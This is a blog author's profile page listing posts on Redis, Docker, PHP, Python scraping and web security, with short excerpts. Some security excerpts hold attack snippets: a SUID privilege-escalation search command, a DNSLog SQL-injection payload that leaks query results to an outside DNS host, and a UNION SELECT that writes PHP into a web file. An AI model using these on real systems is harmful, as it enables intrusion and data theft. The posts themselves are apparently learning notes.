自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(98)
  • 资源 (4)
  • 收藏
  • 关注

原创 gcc版本太低redis报错

redis安装报错

2024-03-21 17:22:26 226

原创 16xx工厂爬虫

本文介绍的爬虫技术仅供学习和研究目的使用。任何人在使用本文中提供的信息和技术时,应自行承担风险,并且应遵守相关法律法规。本文中介绍的爬虫技术和相关信息仅作为参考。作者不对任何由于使用本文介绍的技术而引起的任何直接或间接损失负责。用户应自行承担使用本文技术所带来的风险和责任.

2023-05-26 11:46:54 420 1

原创 execjs执行call出错

https://www.cnblogs.com/yusilu-2653144/p/16626661.html

2023-05-26 09:25:10 262

原创 docker挂载目录不同步

挂载docker外面的config.yaml文件后,容器里的配置文件一直没有更新。但是每次重启容器后就同步上去了,在测试跟研发服可以这么操作。好像是vi或者vim工具进行编辑文件的时候会修改Inode的值,每次修改后值就跟创建容器的值不匹配了。但是重启容器的时候它好像是根据文件名称进行匹配,所以每次重启后配置文件就能同步。测试了一下使用nano就好像不会修改inode的值,但是这个不大好用。这样在外面修改的时候容器内部的文件也会同步,用reload就可以刷新配置,不会断开服务了。

2023-03-14 16:40:13 1251

原创 docker安装

【代码】docker安装。

2023-03-03 09:46:38 85

原创 爬取某地天气存入数据库

爬取某地天气存入数据库

2023-01-06 10:35:57 303

原创 python爬虫中文出现乱码问题

python爬虫中文出现乱码问题

2023-01-06 09:30:00 236

原创 python反射

python反射

2022-12-30 14:30:30 78

原创 18位身份证验证

【代码】18位身份证验证。

2022-11-12 14:25:28 412

原创 Redis缓存击穿

Redis缓存击穿

2022-09-01 10:39:07 166

原创 Redis缓存穿透

Redis缓存穿透

2022-09-01 09:49:12 229

原创 Redis安装及php操作Redis

Redis的安装,PHP操作Redis,Windows安装PHP扩展

2022-09-01 08:33:38 453

原创 php封装curl请求

php封装curl请求并处理json响应数据

2022-08-31 17:31:24 475

原创 redis搭建主从复制及配置

Redis主从复制配置步骤详解。

2022-08-25 10:42:05 239

原创 xpath获取父元素的方法

xpath获取父元素的方法两种方法:# 1使用../# 2使用parent::父级元素import requestsfrom lxml import etreeurl = 'https://www.spzs.com/chanpin/'resp = requests.get(url,headers={ 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0'

2022-05-24 15:13:33 1678

原创 Thinkphp5获取查询某一个数据的方法

Thinkphp5获取一条数据的某一个数据$user = new User();$dd = 'admins';$da = $user->where(['username'=>$dd,'password'=>'5153ae9e3695c8ce42212a3ba35b875b'])->select();方法一//可以直接获取某一个数据,需要遍历foreach ($da as $v){ echo $v.'<br>';}方法二// 最

2022-05-22 21:41:15 1222

原创 Array and string offset access syntax with curly braces is deprecated

使用Thinkphp5框架之php7.4的问题解决办法:seq=(ord(value{0}) % $rule[‘num’]) + 1;中的value0:value{0}改为 value0改为value[0];

2022-05-22 09:54:36 722

原创 阿里云安装nc

阿里云LINUX安装NCwget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificatetar -zxvf netcat-0.7.1.tar.gz -C /usr/localcd /usr/localmv netcat-0.7.1 netcatcd /usr/local/netcat./configuremake && make i

2022-04-07 10:51:45 1148

原创 Linux源码安装appache

Linux源码安装appache链接地址https://www.cnblogs.com/yehuisir/articles/10061123.html在此非常感谢这篇博客。

2022-04-04 23:16:29 86

原创 Linux提权之SUID提权

Linux提权之SUID提权SUID提权1. SUID权限只能设置二进制文件2. 命令执行者要有二进制文件的执行权3. 命令执行者执行二进制文件时会获得该程序的属主身份4. SUID权限只在程序执行中有效即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限cp命令提权以cp为例,这里给cp添加SUID权限做测试,拥有SUID权限的程序会由rwx变成rws也可以通过find / -perm -u=s -type f 2>dev/null命令来

2022-04-04 16:01:11 3424

原创 记一次xss和任意密码修改漏洞

xss和任意密码修改漏洞

2022-01-30 13:56:29 2570

原创 DNSLog注入

DNSLog注入原理以及错误原因链接地址https://www.freebuf.com/articles/web/259023.html错误原因1. 路径错误2. 不是root用户、secure_file_priv的限制3. url地址不正确,dnslog平台解析的是url地址,所以连接的地址只能包含数字字母下划线这3类sqlselect * from table_name where id=1 union select 1,load_file(concat('\\\\',(select

2022-01-29 12:22:32 535

原创 Linux文件和目录管理

Linux文件和目录管理的基本命令cd1. 作用:用来变更用户所在的目录2. cd [目录名]:进入指定目录3. cd后面什么都不跟会进入自己的家目录4. ..:回到上一级目录5. .:表示当前目录mkdir1. 作用:用于创建目录2. mkdir -m 目录名称:指定要创建目录的权限(不常用)3. mkdir -p 目录名称:迭代创建多级目录rmdir1. 作用:删除一个空目录,后面可以跟多个目录,不能删除文件2. rmdir -p 目录名:迭代删除多级空目录rm1.

2022-01-28 14:41:10 1443

原创 文件上传绕过知识点PHP

记一次看过文件上传绕过方式链接地址https://xz.aliyun.com/t/10459

2022-01-27 15:43:20 2944

原创 SQL注入之MySQL注入姿势及绕过

SQL注入之MySQL注入姿势及绕过参考链接:https://xz.aliyun.com/t/10594感受1. 写的详细,并且绕过姿势也很多,大佬级人物2. 在网上发现类似的文章,感觉这就是为啥知识需要付费的原因。3. 学到的东西很多...

2022-01-23 15:20:33 2987

原创 SQL注入写shell权限

SQL注入写shell权限需要的条件1. root权限2. 知道网站的物理绝对路径3. load_file() 开启 即 secure_file_priv 无限制 可以通过select @@secure_file_priv;查询(1):如果为NULL,则不能写入(2):如果为空,可以在任意文件位置下写入(3):如果为一个路径,可以在该文件路径写入4. 有写入权限联合写入?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into

2022-01-21 19:06:33 3128

原创 PHP代码审计报内部服务器错误解决办法

使用PHPStorm进行代码审计报内部服务器错误解决方法:地址:https://www.moonsec.com/archives/1881

2021-12-25 15:20:35 352

原创 阿列夫数算法题

有关阿列夫数的讲解可以看看知乎:地址:https://zhuanlan.zhihu.com/p/367528351题目描述冯•诺依曼不单是一位计算机科学家,也是很有名的数学家,他用集合来定义自然数系统,定义如下: 0 = {} = {} 1 = {0} = {{}} 2 = {0, 1} = {{}, {{}}} 3 = {0, 1, 2} = {{}, {{}}, {{}, {{}}}} …… 请根据上述定义,写出递归函数,由用户输入一个自然数N,输出该自 然数对应的集合表示。例如,

2021-12-14 21:11:26 2590 3

原创 python装饰器,迭代,异常

python装饰器,迭代,异常装饰器的联系DEL = 8READ = 4WRITE = 2EXE = 1userpermission = 9def check(x, y): print("最外层函数被调用了") def handle(fn): print("handle函数被调用了") def do_ction(): if x & y != 0: fn()

2021-11-27 20:46:10 710 2

原创 Python面向对象

Python面向对象基础知识基础语法# 使用class来定义一个类# class 类名:类名一般需要遵守大驼峰命名法# 1.class 类名:# 2.class <类名> (Object):class Student(object): # 在__init__方法里,以参数的形式定义特征,我们称之为属性 def __init__(self, name, age): self.name = name self.age = age

2021-11-27 20:30:42 176 1

原创 Python正则

Python正则正则表达式# 用来处理字符串,对于字符串进行检索和替换的# 1.查找 2.替换# 比如:看身份证是否合法# 用到正则必须需要用到类reimport rex = 'hello\\nworld' # hello\nworld# 在正则表达式里,如果要匹配一个\需要用\\\\# 第一个参数就是正则匹配的规则# 第二个参数表示需要匹配的字符串print(re.search('\\\\', x)) # <re.Match object; span=(5, 6),

2021-11-27 20:07:43 636 3

原创 爬取某视频网站的电影

通过抓包爬取某视频网站的电影burpsuite工具1. 先使用抓包工具进行抓包分析,得到对应的接口2. 直接用requests库来请求响应数据3. 存入数据库代码from functools import reduceimport pymysqlimport requestsimport json# 链接数据库def connectdatabase(): conn = pymysql.connect( host='127.0.0.1', us

2021-11-24 14:04:14 1777 2

原创 PHP之Smarty

PHP之SmartySmarty简介smarty的引入1. 为了分工合作,模板页面中最好不要出现php代码2.需要将表现和内容相互分离3.通过smarty把php和html页面显示在页面上官方smartyplugins:自定义插件sysplugins:系统插件Smarty.class.php:Smarty核心文件smarty的属性和方法class Smarty{ public $left_delimiter="{";//左界定 public $right_delim

2021-11-09 11:47:18 618

原创 PHP之MVC

PHP之MVC以及简单的封装目录结构各部分代码config.phpreturn array( 'database'=>array( 'host'=>'127.0.0.1',//默认主机 'port'=>3306,//默认端口号 'dbname'=>'data',//默认数据库 'charset'=>'utf8',//默认字符编码集 'user'=>'root',//默认数据

2021-11-08 21:53:44 654

原创 PHP之水印与缩略图

PHP水印与缩略图文字水印作用:在图片上添加文字或图片,目的:宣传,防止盗图分类:文字水印和图片水印文字水印实现原理和中文验证码一样//打开图片$img = imagecreatefromjpeg('./clk.jpg');//将文字写到图片上$color = imagecolorallocate($img,255,0,0);$size = 15;//字体大小$angle=-30;//旋转角度$fontpath = 'D:\MVVC\simhei.ttf';//字体路径,必须是绝对路

2021-11-07 16:17:37 113

原创 PHP之验证码

PHP之实现验证码功能开启GD扩展知识点:GD库是用来处理图片的,使用GD库,首先在php.ini中开启gd扩展extension=gd2(默认已经开启)开启以后就可以使用image开头的函数了创建最简单的图片1. 创建画布2. 给画布填充颜色(给画布填充的第一个颜色自动填充成背景颜色)3. 显示图片$image = imagecreate(200,100);//创建图片,类型为资源类型//给图片分配第一个颜色,默认是背景色imagecolorallocate($image,25

2021-11-07 16:06:34 258

原创 PHP之sql拼接语句

sql拼接语句select拼接语句function select($table,$cond=array()){ $sql = "select * from `{$table}` where 1"; if (!empty($cond)){ foreach ($cond as $k=>$v){ if (is_array($v)){ switch ($v[0]){ case '

2021-11-04 22:07:30 871

原创 session入库

session入库代码function open(){ //必须返回true global $link; $link = mysqli_connect('127.0.0.1','root','root','data','3308'); if ($link){ return true; }else return false;}function close(){ global $link; mysqli_close($lin

2021-11-04 21:54:08 79

原创 PHP的session与cookie

Session与Cookie场景1. 客服端向服务器发送请求2. 服务器将值放到响应头中发送至客服端3. 浏览器自动将信息放到请求头中带到服务器4. 服务器从请求头中获取带来的信息CookieA页面中的变量如何被B页面访问:1. 包含文件2. get或post提交3. cookie,cookie就是保存在客服端的信息文件通过header、setcookie()来操作响应头语法格式:header(键:值)setcookie()作用:将值放到响应头中发送到客服端,并保存到客服端设

2021-11-04 21:33:04 375

原创 Warning: Unknown: Failed to write session data using user defined save handler. (session.save_path:

Warning: Unknown: Failed to write session data using user defined save handler. (session.save_path: D:\Software\phpstudy_pro\Extensions\tmp\tmp) in Unknown on line 0错误原因:1. session.save_path的路径不对2. session.save_path的文件权限不对3. 以及其他的错误原因,(但我的不是这个问题)这个问题发了

2021-11-04 15:30:06 687

ueditor-demo-master.zip

ueditor富文本编辑器,百度官网下载不了,github下载又不全,所以给大家分享一下。

2021-11-17

php之MVC以及简单封装.zip

PHP之MVC以及简单的封装

2021-11-08

考研英语一和二pdf资料.zip

考研英语一、二pdf资料

2021-06-14

软考网络工程师笔记.docx

软考网络工程师笔记

2021-06-06

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除